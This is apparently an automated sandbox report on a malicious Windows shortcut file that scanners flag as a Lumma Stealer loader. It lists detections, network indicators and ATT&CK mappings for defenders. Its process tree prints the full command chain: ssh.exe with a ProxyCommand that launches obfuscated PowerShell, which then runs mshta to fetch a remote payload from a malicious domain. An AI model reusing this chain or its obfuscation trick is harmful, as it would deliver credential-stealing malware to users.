Windows
Analysis Report
anov3mrRa1.lnk
Overview
General Information
Sample name: | anov3mrRa1.lnkrenamed because original name is a hash value |
Original sample name: | 601862f43afd9315c5216580679745a3.lnk |
Analysis ID: | 1604925 |
MD5: | 601862f43afd9315c5216580679745a3 |
SHA1: | 23babb893510faecdd8df07a4a71e683ead6164a |
SHA256: | 320f2c9ac23ec442f13293da99e423c0bbe1c2229e7febb6a94afabab66e052f |
Tags: | lnkuser-abuse_ch |
Infos: | |
Detection
Score: | 76 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
- System is w10x64
ssh.exe (PID: 5748 cmdline:
"C:\Window s\System32 \OpenSSH\s sh.exe" -o Pr oxyCommand ="powershe ll powersh ell -C 'ms hta'.Inser t(5,' http s://docsha re.icu/tem plates/ima gesoftware /mediathek /videoanim ationfloat ing.mp4')" . MD5: C05426E6F6DFB30FB78FBA874A2FF7DC) conhost.exe (PID: 6700 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 2036 cmdline:
powershell powershel l -C 'msht a'.Insert( 5,' https: //docshare .icu/templ ates/image software/m ediathek/v ideoanimat ionfloatin g.mp4') MD5: 04029E121A0CFA5991749937DD22A1D9) powershell.exe (PID: 2672 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -C "mshta https://do cshare.icu /templates /imagesoft ware/media thek/video animationf loating.mp 4" MD5: 04029E121A0CFA5991749937DD22A1D9) mshta.exe (PID: 6788 cmdline:
"C:\Window s\system32 \mshta.exe " https:// docshare.i cu/templat es/imageso ftware/med iathek/vid eoanimatio nfloating. mp4 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)
- cleanup
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: frack113, Nasreddine Bencherchali: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-02-02T07:43:43.502205+0100 | 1810000 | 2 | Potentially Bad Traffic | 192.168.2.8 | 62696 | 185.208.156.80 | 443 | TCP |
Click to jump to signature section
AV Detection |
---|
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: |
Source: | Virustotal: | Perma Link | ||
Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
Source: | TCP traffic: |
Source: | ASN Name: |
Source: | JA3 fingerprint: | ||
Source: | JA3 fingerprint: |
Source: | Suricata IDS: |
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: |
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: |
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: |
Source: | DNS traffic detected: | ||
Source: | DNS traffic detected: |
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: |
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
System Summary |
---|
Source: | LNK file: |
Source: | Key opened: | Jump to behavior |
Source: | Classification label: |
Source: | File created: | Jump to behavior |
Source: | Mutant created: |
Source: | File created: | Jump to behavior |
Source: | File read: | Jump to behavior |
Source: | Key opened: | Jump to behavior |
Source: | Virustotal: | ||
Source: | ReversingLabs: |
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior |
Source: | Key value queried: | Jump to behavior |
Source: | LNK file: |
Source: | Key opened: | Jump to behavior |
Source: | Window detected: |
Source: | File opened: | Jump to behavior |
Persistence and Installation Behavior |
---|
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior |
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior |
Source: | Window / User API: | Jump to behavior | ||
Source: | Window / User API: | Jump to behavior | ||
Source: | Window / User API: | Jump to behavior | ||
Source: | Window / User API: | Jump to behavior | ||
Source: | Window / User API: | Jump to behavior |
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep count: | Jump to behavior | ||
Source: | Thread sleep count: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep count: | Jump to behavior | ||
Source: | Thread sleep count: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior |
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior |
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: |
Source: | Process information queried: | Jump to behavior |
Source: | Process token adjusted: | Jump to behavior | ||
Source: | Process token adjusted: | Jump to behavior |
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | Process created: |
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior |
Source: | Key value queried: | Jump to behavior |
Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | 1 Command and Scripting Interpreter | 1 DLL Side-Loading | 11 Process Injection | 1 Masquerading | OS Credential Dumping | 1 Security Software Discovery | Remote Services | 1 Email Collection | 1 Encrypted Channel | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
Credentials | Domains | Default Accounts | Scheduled Task/Job | Boot or Logon Initialization Scripts | 1 DLL Side-Loading | 21 Virtualization/Sandbox Evasion | LSASS Memory | 11 Process Discovery | Remote Desktop Protocol | Data from Removable Media | 1 Ingress Tool Transfer | Exfiltration Over Bluetooth | Network Denial of Service |
Email Addresses | DNS Server | Domain Accounts | At | Logon Script (Windows) | Logon Script (Windows) | 11 Process Injection | Security Account Manager | 21 Virtualization/Sandbox Evasion | SMB/Windows Admin Shares | Data from Network Shared Drive | 2 Non-Application Layer Protocol | Automated Exfiltration | Data Encrypted for Impact |
Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | Login Hook | 1 DLL Side-Loading | NTDS | 1 Application Window Discovery | Distributed Component Object Model | Input Capture | 13 Application Layer Protocol | Traffic Duplication | Data Destruction |
Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | Software Packing | LSA Secrets | 1 File and Directory Discovery | SSH | Keylogging | Fallback Channels | Scheduled Transfer | Data Encrypted for Impact |
Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | Steganography | Cached Domain Credentials | 13 System Information Discovery | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
37% | Virustotal | Browse | ||
34% | ReversingLabs | Shortcut.Trojan.LummaStealerLNK |
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware | ||
100% | Avira URL Cloud | malware |
Name | IP | Active | Malicious | Antivirus Detection | Reputation |
---|---|---|---|---|---|
docshare.icu | 185.208.156.80 | true | true | unknown | |
241.42.69.40.in-addr.arpa | unknown | unknown | false | high |
Name | Malicious | Antivirus Detection | Reputation |
---|---|---|---|
true |
| unknown | |
false |
| unknown |
Name | Source | Malicious | Antivirus Detection | Reputation |
---|---|---|---|---|
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
false | high | |||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
true |
| unknown | ||
false | high | |||
true |
| unknown | ||
false | high | |||
true |
| unknown | ||
true | unknown |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
---|---|---|---|---|---|---|
185.208.156.80 | docshare.icu | Switzerland | 42624 | SIMPLECARRIERCH | true |
Joe Sandbox version: | 42.0.0 Malachite |
Analysis ID: | 1604925 |
Start date and time: | 2025-02-02 07:40:21 +01:00 |
Joe Sandbox product: | CloudBasic |
Overall analysis duration: | 0h 5m 2s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Cookbook file name: | default.jbs |
Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
Number of analysed new started processes analysed: | 12 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
|
Analysis Mode: | default |
Analysis stop reason: | Timeout |
Sample name: | anov3mrRa1.lnkrenamed because original name is a hash value |
Original Sample Name: | 601862f43afd9315c5216580679745a3.lnk |
Detection: | MAL |
Classification: | mal76.winLNK@8/6@3/1 |
EGA Information: | Failed |
HCA Information: |
|
Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
- Excluded IPs from analysis (whitelisted): 4.245.163.56, 40.69.42.241, 20.12.23.50, 13.107.246.45
- Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
- Execution Graph export aborted for target mshta.exe, PID 6788 because it is empty
- Execution Graph export aborted for target powershell.exe, PID 2672 because it is empty
- Not all processes where analyzed, report is missing behavior information
- Report size getting too big, too many NtEnumerateKey calls found.
- Report size getting too big, too many NtOpenKeyEx calls found.
- Report size getting too big, too many NtProtectVirtualMemory calls found.
- Report size getting too big, too many NtQueryValueKey calls found.
- Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
SIMPLECARRIERCH | Get hash | malicious | Unknown | Browse |
| |
Get hash | malicious | Remcos | Browse |
| ||
Get hash | malicious | Remcos | Browse |
| ||
Get hash | malicious | Remcos | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Mirai | Browse |
|
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
3b5074b1b5d032e5620f69f9f700ff0e | Get hash | malicious | Quasar | Browse |
| |
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | Vidar | Browse |
| |
Get hash | malicious | Vidar | Browse |
| ||
Get hash | malicious | Vidar | Browse |
| ||
Get hash | malicious | Amadey, Credential Flusher, Cryptbot, LummaC Stealer, RedLine, Stealc, Vidar | Browse |
| ||
Get hash | malicious | LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc | Browse |
| ||
Get hash | malicious | XRed | Browse |
| ||
Get hash | malicious | XRed | Browse |
| ||
Get hash | malicious | XRed | Browse |
| ||
